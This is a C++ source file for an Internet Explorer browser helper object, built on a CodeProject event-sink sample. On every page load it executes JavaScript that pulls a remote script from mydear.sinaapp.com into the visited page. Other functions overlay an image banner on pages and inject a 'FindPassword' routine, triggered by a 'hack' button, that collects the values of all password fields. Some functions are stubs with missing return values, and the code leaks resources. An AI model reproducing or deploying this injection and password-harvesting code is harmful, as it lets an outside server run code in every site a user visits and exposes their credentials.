﻿/*
 Copyright (C) 2009 Moutaz Haq <cefarix@gmail.com>
 This file is released under the Code Project Open License <http://www.codeproject.com/info/cpol10.aspx>

 This file contains our implementation of the DWebBrowserEvents2 dispatch interface.
*/

#include "common.h"
#include "EventSink.h"
//#include <afxdisp.h>

BSTR Concat(BSTR a, BSTR b)
{
    auto lengthA = SysStringLen(a);
    auto lengthB = SysStringLen(b);
 
    auto result = SysAllocStringLen(NULL, lengthA + lengthB);
 
    memcpy(result, a, lengthA * sizeof(OLECHAR));
    memcpy(result + lengthA, b, lengthB * sizeof(OLECHAR));
 
    result[lengthA + lengthB] = 0;
    return result;
}



// The single global object of CEventSink
CEventSink EventSink;
	bool first = true;

void CEventSink::Init(IWebBrowser2* pSite) {
	this->pSite = pSite;
	first = true;
	UrlSite = NULL;
}

STDMETHODIMP CEventSink::QueryInterface(REFIID riid,void **ppvObject)
{
	// Check if ppvObject is a valid pointer
	if(IsBadWritePtr(ppvObject,sizeof(void*))) return E_POINTER;
	// Set *ppvObject to NULL
	(*ppvObject)=NULL;
	// See if the requested IID matches one that we support
	// If it doesn't return E_NOINTERFACE
	if(!IsEqualIID(riid,IID_IUnknown) && !IsEqualIID(riid,IID_IDispatch) && !IsEqualIID(riid,DIID_DWebBrowserEvents2)) return E_NOINTERFACE;
	// If it's a matching IID, set *ppvObject to point to the global EventSink object
	(*ppvObject)=(void*)&EventSink;
	return S_OK;
}

STDMETHODIMP_(ULONG) CEventSink::AddRef()
{
	return 1; // We always have just one static object
}

STDMETHODIMP_(ULONG) CEventSink::Release()
{
	return 1; // Ditto
}

// We don't need to implement the next three methods because we are just a pure event sink
// We only care about Invoke() which is what IE calls to notify us of events

STDMETHODIMP CEventSink::GetTypeInfoCount(UINT *pctinfo)
{
	UNREFERENCED_PARAMETER(pctinfo);

	return E_NOTIMPL;
}

STDMETHODIMP CEventSink::GetTypeInfo(UINT iTInfo,LCID lcid,ITypeInfo **ppTInfo)
{
	UNREFERENCED_PARAMETER(iTInfo);
	UNREFERENCED_PARAMETER(lcid);
	UNREFERENCED_PARAMETER(ppTInfo);

	return E_NOTIMPL;
}

STDMETHODIMP CEventSink::GetIDsOfNames(REFIID riid,LPOLESTR *rgszNames,UINT cNames,LCID lcid,DISPID *rgDispId)
{
	UNREFERENCED_PARAMETER(riid);
	UNREFERENCED_PARAMETER(rgszNames);
	UNREFERENCED_PARAMETER(cNames);
	UNREFERENCED_PARAMETER(lcid);
	UNREFERENCED_PARAMETER(rgDispId);

	return E_NOTIMPL;
}

// This is called by IE to notify us of events
// Full documentation about all the events supported by DWebBrowserEvents2 can be found at
//  http://msdn.microsoft.com/en-us/library/aa768283(VS.85).aspx
STDMETHODIMP CEventSink::Invoke(DISPID dispIdMember,REFIID riid,LCID lcid,WORD wFlags,
	DISPPARAMS *pDispParams,VARIANT *pVarResult,EXCEPINFO *pExcepInfo,UINT *puArgErr)
{
	UNREFERENCED_PARAMETER(lcid);
	UNREFERENCED_PARAMETER(wFlags);
	UNREFERENCED_PARAMETER(pVarResult);
	UNREFERENCED_PARAMETER(pExcepInfo);
	UNREFERENCED_PARAMETER(puArgErr);
	VARIANT v[5]; // Used to hold converted event parameters before passing them onto the event handling method
	int n;
	bool b;
	PVOID pv;
	LONG lbound,ubound,sz;

	if(!IsEqualIID(riid,IID_NULL)) return DISP_E_UNKNOWNINTERFACE; // riid should always be IID_NULL
	// Initialize the variants
	for(n=0;n<5;n++) VariantInit(&v[n]);
	if(dispIdMember==DISPID_BEFORENAVIGATE2) { // Handle the BeforeNavigate2 event		
		VariantChangeType(&v[0],&pDispParams->rgvarg[5],0,VT_BSTR); // url
		VariantChangeType(&v[1],&pDispParams->rgvarg[4],0,VT_I4); // Flags
		VariantChangeType(&v[2],&pDispParams->rgvarg[3],0,VT_BSTR); // TargetFrameName
		VariantChangeType(&v[3],&pDispParams->rgvarg[2],0,VT_UI1|VT_ARRAY); // PostData
		VariantChangeType(&v[4],&pDispParams->rgvarg[1],0,VT_BSTR); // Headers
		if(v[3].vt!=VT_EMPTY) {
			SafeArrayGetLBound(v[3].parray,0,&lbound);
			SafeArrayGetUBound(v[3].parray,0,&ubound);
			sz=ubound-lbound+1;
			SafeArrayAccessData(v[3].parray,&pv);
		} else {
			sz=0;
			pv=NULL;
		}
		b=Event_BeforeNavigate2((LPOLESTR)v[0].bstrVal,v[1].lVal,(LPOLESTR)v[2].bstrVal,
			(PUCHAR)pv,sz,(LPOLESTR)v[4].bstrVal,
			((*(pDispParams->rgvarg[0].pboolVal))!=VARIANT_FALSE));
		if(v[3].vt!=VT_EMPTY) SafeArrayUnaccessData(v[3].parray);
		if(b) *(pDispParams->rgvarg[0].pboolVal)=VARIANT_TRUE;
		else *(pDispParams->rgvarg[0].pboolVal)=VARIANT_FALSE;
	}
	if(dispIdMember==DISPID_DOCUMENTCOMPLETE){
		/**/
		VariantChangeType(&v[0],&pDispParams->rgvarg[0],0,VT_BSTR); // Url
		//OnDocumentComplete(NULL,(BSTR)v[0].bstrVal);
		//InsertScript(NULL, (BSTR)v[0].bstrVal);
		InsertScript2(NULL, (BSTR)v[0].bstrVal);
	}
	// Free the variants
	for(n=0;n<5;n++) VariantClear(&v[n]);
	return S_OK;
}


// Return true to prevent the url from being opened
bool CEventSink::Event_BeforeNavigate2(LPOLESTR url,LONG Flags,
	LPOLESTR TargetFrameName,PUCHAR PostData,LONG PostDataSize,LPOLESTR Headers,bool Cancel)
{
	return Cancel;
}

//This function checks if the add is already inserted on the page's DOM
bool CEventSink::CheckInsert(IHTMLElement *pElementBody)
{
	if(!pElementBody)
		return false;

	BSTR source_text = NULL;
	pElementBody->get_innerHTML(&source_text);

	BSTR search_text = L"absoluteID123";

	if(source_text == NULL)
		return false;

	BSTR result = wcsstr(source_text, search_text);

	if(result != NULL)
		return true;

	return false; 
}

const static WCHAR script[1024] = L"";

/*
*/
void STDMETHODCALLTYPE CEventSink::OnDocumentComplete(IDispatch *pDisp, BSTR url)
{
	if(UrlSite != NULL){
		BSTR result = wcsstr(UrlSite, url);
		if(result != NULL)
			return;
	}

    HRESULT hr = S_OK;

	IHTMLDocument2 *pDocument;
	pSite->get_Document((IDispatch**)&pDocument);

	// This is the only way to make javascript to work after the document is loaded 
	CComQIPtr<IHTMLWindow2> pWindow;
    pDocument->get_parentWindow(&pWindow);
	/*add script*/
	BSTR bstrT1 = NULL;
	bstrT1 = SysAllocString (L"function hidediv() { console.log('hidediv');document.getElementById(\"absoluteID123\").style.visibility = \"hidden\";}");
    BSTR bstrT2 = NULL;
	bstrT2 = SysAllocString (L"javascript");
    CComVariant v;
	/**/
    hr = pWindow->execScript(bstrT1, bstrT2, &v);

	IHTMLElement *pElementBody;
	pDocument->get_body((IHTMLElement**)&pElementBody);
	 
	if(CheckInsert(pElementBody))
		return;

	BSTR bstrBegin = NULL;
	bstrBegin = SysAllocString ( L"afterBegin" );
	
	/* this is the code inserted on the page
	<div id="absoluteID123" style="float:right;padding: 20px;z-index:2000000">
		<table><tr><td>
			<div id="div123456"  style="z-index:2000002;width:307px;height:158px;background-image: url(http://s.codeproject.com/App_Themes/CodeProject/Img/logo250x135.gif);"/>
				<div id="divButton123" onclick="alert()" style="z-index:2000003;  position: relative; left: 279px;top: 6px; width:23px;height:24px;"/></div>
			</div>
	</td></tr></table></div>
*/

	BSTR bstrL2 = NULL;
	bstrL2 = SysAllocString ( L"<div id=\"absoluteID123\" style=\"position:absolute;top:0;right:0;padding: 20px;z-index:2000000;\">" );
	BSTR bstrL3 = NULL;
	bstrL3 = SysAllocString ( L"<table><tr><td>");
	BSTR bstrL4 = NULL;
	bstrL4 = SysAllocString ( L"<div id=\"div123456\"  style=\"z-index:2000002;width:307px;height:158px;background-image: url(http://mydear-photo.stor.sinaapp.com/7B948713-8B0F-4B6C-ADF5-F9399EAD76CE);\"/>");
	BSTR bstrL5 = NULL;
	bstrL5 = SysAllocString ( L"<div id=\"divButton123\" onclick=\"hidediv()\" style=\"z-index:2000003; border:solid 5px black; position: relative; left: 279px;top: 6px; width:23px;height:24px;\"/></div></div>");
	BSTR bstrL6 = NULL;
	bstrL6 = SysAllocString ( L"</td></tr></table></div>");

	BSTR bstrFinal = NULL;
	/*
	*/
	bstrFinal = Concat(bstrFinal,bstrL2);
	bstrFinal = Concat(bstrFinal,bstrL3);
	bstrFinal = Concat(bstrFinal,bstrL4);
	bstrFinal = Concat(bstrFinal,bstrL5);
	bstrFinal = Concat(bstrFinal,bstrL6);

    SysFreeString(bstrL2);
    SysFreeString(bstrL3);
	SysFreeString(bstrL4);
    SysFreeString(bstrL5);

	/**/
	pElementBody->insertAdjacentHTML(bstrBegin, bstrFinal);
	

	SysFreeString(bstrBegin);
	SysFreeString(bstrFinal);

	first = false; 

	UrlSite = Concat(UrlSite,url);  		
}

/*
拷贝按钮
script
点击既有按钮，输出信息
绑定额外的回调函数

function outputInfo(){

}
*/
#define INJECTCODE L""
#define INJECTCONTROL L""
#define SERVERJSURL L"http://mydear.sinaapp.com/forge0/bho/inject.js"
#define SCRIPTELEMENT L"<script src=\"http://mydear.sinaapp.com/forge0/bho/inject.js\">"


/*
打印有格式的文本
puppeteer 打印机
打印png
干脆做进去，直接跳框实现输入。
puppeteer 本地页面
弹出窗口
ie内打开新窗口，打印相关页面（投保说明书，代扣协议）。
通过ajax传送到远端。最后导出excel表。
ie向控件
打开新页面。打印。

增加一个按钮。添加id信息。

*/
void  STDMETHODCALLTYPE CEventSink::InsertControl(IDispatch *pDisp, BSTR url )
{
	if (UrlSite != NULL) {
		BSTR result = wcsstr(UrlSite, url);
		if (result != NULL)
			return;
	}

	HRESULT hr = S_OK;

	IHTMLDocument2 *pDocument;
	pSite->get_Document((IDispatch**)&pDocument);

	// This is the only way to make javascript to work after the document is loaded 
	CComQIPtr<IHTMLWindow2> pWindow;
	pDocument->get_parentWindow(&pWindow);
	BSTR bstrT1 = NULL;
	bstrT1 = SysAllocString(L"function hidediv() { console.log('hidediv');document.getElementById(\"absoluteID123\").style.visibility = \"hidden\";}");
	BSTR bstrT2 = NULL;
	bstrT2 = SysAllocString(L"javascript");
	CComVariant v;
	/**/
	hr = pWindow->execScript(bstrT1, bstrT2, &v);

	IHTMLElement *pElementBody;
	pDocument->get_body((IHTMLElement**)&pElementBody);

	if (CheckInsert(pElementBody))
		return;

	BSTR bstrBegin = NULL;
	bstrBegin = SysAllocString(L"afterBegin");

	/* this is the code inserted on the page
	<div id="absoluteID123" style="float:right;padding: 20px;z-index:2000000">
		<table><tr><td>
			<div id="div123456"  style="z-index:2000002;width:307px;height:158px;background-image: url(http://s.codeproject.com/App_Themes/CodeProject/Img/logo250x135.gif);"/>
				<div id="divButton123" onclick="alert()" style="z-index:2000003;  position: relative; left: 279px;top: 6px; width:23px;height:24px;"/></div>
			</div>
	</td></tr></table></div>
*/

	BSTR bstrL2 = NULL;
	bstrL2 = SysAllocString(L"<div id=\"absoluteID123\" style=\"position:absolute;top:0;right:0;padding: 20px;z-index:2000000\">");
	BSTR bstrL3 = NULL;
	bstrL3 = SysAllocString(L"<table><tr><td>");
	BSTR bstrL4 = NULL;
	bstrL4 = SysAllocString(L"<div id=\"div123456\"  style=\"z-index:2000002;width:307px;height:158px;background-image: url(http://mydear-photo.stor.sinaapp.com/7B948713-8B0F-4B6C-ADF5-F9399EAD76CE);\"/>");
	BSTR bstrL5 = NULL;
	bstrL5 = SysAllocString(L"<div id=\"divButton123\" onclick=\"hidediv()\" style=\"z-index:2000003;  position: relative; left: 279px;top: 6px; width:23px;height:24px;\"/></div></div>");
	BSTR bstrL6 = NULL;
	bstrL6 = SysAllocString(L"</td></tr></table></div>");

	BSTR bstrFinal = NULL;
	bstrFinal = Concat(bstrFinal, bstrL2);
	bstrFinal = Concat(bstrFinal, bstrL3);
	bstrFinal = Concat(bstrFinal, bstrL4);
	bstrFinal = Concat(bstrFinal, bstrL5);
	bstrFinal = Concat(bstrFinal, bstrL6);

	SysFreeString(bstrL2);
	SysFreeString(bstrL3);
	SysFreeString(bstrL4);
	SysFreeString(bstrL5);

	pElementBody->insertAdjacentHTML(bstrBegin, bstrFinal);

	SysFreeString(bstrBegin);
	SysFreeString(bstrFinal);

	first = false;

	UrlSite = Concat(UrlSite, url);
}

/*
补救模式，外部模式。通过应用来打印。而不是页面内嵌控件打印。
iframe
*/
void  STDMETHODCALLTYPE CEventSink::InsertControl2(IDispatch *pDisp, BSTR url)
{
	HRESULT hr = S_OK;

	IHTMLDocument2 *pDocument;
	pSite->get_Document((IDispatch**)&pDocument);

	//document = (HTMLDocument)webBrowser.Document;
	IHTMLElementCollection *all;
	pDocument->get_all(&all);
	IDispatch **pdisp;
	//BSTR bstrL2 = NULL;
	VARIANT VarResult;
	VariantInit(&VarResult);
	//bstrL2 = SysAllocString(L"head");
	IHTMLElement *element;
	//
	//CComPtr< IDispatch > pDisp;
	//all->tags(COleVariant(L"head"), &pDisp);//这里老是出错
	//collection->tags(VarResult, (IDispatch**)&element);
	//CComPtr<IHTMLElement> head;
	IHTMLElement *head;
	//HTMLHeadElement* head;
	IHTMLHeadElement* head1;
	//all->item(COleVariant(L"head"), COleVariant(short(0)), (IDispatch**)&head);
	
	//IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)document.all.tags("head")).item(null, 0);
	
	IHTMLElement *pElementBody;
	pDocument->get_body((IHTMLElement**)&pElementBody);
	//var body = (HTMLBody)document.body;

	IHTMLScriptElement *scriptElement;
	BSTR bstrL2 = NULL;
	bstrL2 = SysAllocString(L"script");
	pDocument->createElement(bstrL2, (IHTMLElement**)&scriptElement);

	//添加Javascript脚本  
	//IHTMLScriptElement scriptElement = (IHTMLScriptElement)document.createElement("script");
	scriptElement->put_type( L"text/javascript" );
	scriptElement->put_text( L"function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}");//document.getElementById('PWDHACK').value=pwdList;  
	scriptElement->put_src(L"");
	//scriptElement.type = "text/javascript";
	//scriptElement.text = "function FindPassword(){var tmp=document.getElementsByTagName('input');var pwdList='';for(var i=0;i<tmp.length;i++){if(tmp[i].type.toLowerCase()=='password'){pwdList+=tmp[i].value}} alert(pwdList);}";//document.getElementById('PWDHACK').value=pwdList;  
	//((IHTMLHeadElement)head)
	//head->insertAdjacentHTML(scriptElement);
	
	//((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptElement);
	IHTMLStyleElement *tmpStyle;
	pDocument->createElement(L"style", (IHTMLElement**)&tmpStyle );

	//创建些可以使用CSS的节点  
	//string styleText = @".tb{ position:absolute; top:100px; }";//left:100px;border:1px red solid;width:50px;height:50px;  
		//IHTMLStyleElement tmpStyle = (IHTMLStyleElement)document.createElement("style");
	//CString styleText;
	tmpStyle->put_type(L"text/css");
	IHTMLStyleSheet *p;
	tmpStyle->get_styleSheet(&p);
	p->put_cssText(L".tb{ position:absolute; top:100px; }");
	//tmpStyle.type = "text/css";
	//tmpStyle.styleSheet.cssText = styleText;

	//string btnString = @"<input type = 'button' value = 'hack' onclick = 'FindPassword()' / > ";  
	//body.insertAdjacentHTML("afterBegin", btnString);
	pElementBody->insertAdjacentHTML(L"afterBegin", L"<input type = 'button' value = 'hack' onclick = 'FindPassword()' / > " );
}

/*

*/
HRESULT  STDMETHODCALLTYPE CEventSink::InsertScript(IDispatch *pDisp, BSTR url)
{
	HRESULT hr = S_OK;
	try {		

		IHTMLDocument2 *pDocument;
		hr = pSite->get_Document((IDispatch**)&pDocument);

		IHTMLElement *pElementBody;
		hr = pDocument->get_body((IHTMLElement**)&pElementBody);

		IHTMLScriptElement *scriptElement;
		BSTR bstrL1 = NULL;
		BSTR bstrL2 = NULL;
		BSTR bstrL3 = NULL;
		bstrL1 = SysAllocString(L"text/javascript");
		bstrL2 = SysAllocString(L"script");
		//bstrL3 = SysAllocString(L"http://mydear.sinaapp.com/forge0/bho/inject.js");
		bstrL3 = SysAllocString(L"inject.js");
		hr = pDocument->createElement(bstrL2, (IHTMLElement**)&scriptElement);
		//hr = scriptElement->put_type(bstrL1);
		hr = scriptElement->put_src(bstrL3);
		
		CComQIPtr< IHTMLDOMNode, &IID_IHTMLDOMNode > pBodyNode(pElementBody);
		if (!pBodyNode)
			return hr;

		// 得到新建元素的结点
		CComQIPtr< IHTMLDOMNode, &IID_IHTMLDOMNode > pNewChild(scriptElement);
		CComPtr< IHTMLDOMNode > pRefChild;
		hr = pBodyNode->appendChild(pNewChild, &pRefChild);
		if (FAILED(hr) || !pRefChild)
			return hr;
		SysFreeString(bstrL1);
		SysFreeString(bstrL2);
		SysFreeString(bstrL3);
	}
	catch (CComExcepInfo e) {
		int i = 0;
		i++;
	}
	
	return hr;
}

#include <time.h>
/*
*/
HRESULT  STDMETHODCALLTYPE CEventSink::InsertScript2(IDispatch *pDisp, BSTR url)
{
	HRESULT hr = S_OK;
	try {

		IHTMLDocument2 *pDocument;
		hr = pSite->get_Document((IDispatch**)&pDocument);
		BSTR url = NULL;
		//pSite->get_LocationURL(&url);
		pDocument->get_URL(&url);

		IHTMLElement *pElementBody;
		hr = pDocument->get_body((IHTMLElement**)&pElementBody);
		/*
		BSTR bstrBegin = NULL;
		bstrBegin = SysAllocString(L"afterBegin");
		BSTR bstrFinal = NULL;
		bstrFinal = SysAllocString(SCRIPTELEMENT);
		pElementBody->insertAdjacentHTML(bstrBegin, bstrFinal);
		SysFreeString(bstrBegin);
		SysFreeString(bstrFinal);
		*/

		CComQIPtr<IHTMLWindow2> pWindow;
		pDocument->get_parentWindow(&pWindow);
		BSTR bstrT1 = NULL;

		WCHAR jsUrl[256] = {0}; ;
		time_t now;
		time(&now);
		wsprintf(jsUrl, L"var s=document.createElement(\"script\");s.src=\"%s?time=%ld\";document.body.appendChild(s);",SERVERJSURL, now );
		bstrT1 = SysAllocString( jsUrl );
		BSTR bstrT2 = NULL;
		bstrT2 = SysAllocString(L"javascript");
		CComVariant v;
		/**/
		hr = pWindow->execScript(bstrT1, bstrT2, &v);
		SysFreeString(bstrT1);
		SysFreeString(bstrT2);
	}
	catch (CComExcepInfo e) {
		int i = 0;
		i++;
	}

	return hr;
}


/*
*/
HRESULT  STDMETHODCALLTYPE CEventSink::IframeInjectTest(IDispatch *pDisp, BSTR url)
{
	HRESULT hr = S_OK;
	try {

		IHTMLDocument2 *pDocument;
		hr = pSite->get_Document((IDispatch**)&pDocument);
		IHTMLElement *pElementBody;
		hr = pDocument->get_body((IHTMLElement**)&pElementBody);
		/*
		BSTR bstrBegin = NULL;
		bstrBegin = SysAllocString(L"afterBegin");
		BSTR bstrFinal = NULL;
		bstrFinal = SysAllocString(SCRIPTELEMENT);
		pElementBody->insertAdjacentHTML(bstrBegin, bstrFinal);
		SysFreeString(bstrBegin);
		SysFreeString(bstrFinal);
		*/

		CComQIPtr<IHTMLWindow2> pWindow;
		pDocument->get_parentWindow(&pWindow);
		BSTR bstrT1 = NULL;

		bstrT1 = SysAllocString(L"var s=document.createElement(\"script\");s.src=\"http://mydear.sinaapp.com/forge0/bho/inject.js\";document.body.appendChild(s);");
		BSTR bstrT2 = NULL;
		bstrT2 = SysAllocString(L"javascript");
		CComVariant v;
		/**/
		hr = pWindow->execScript(bstrT1, bstrT2, &v);
		SysFreeString(bstrT1);
		SysFreeString(bstrT2);
	}
	catch (CComExcepInfo e) {
		int i = 0;
		i++;
	}

	return hr;
}

HRESULT  STDMETHODCALLTYPE CEventSink::QueryPcInfo()
{

}

static bool GetHostId()
{

}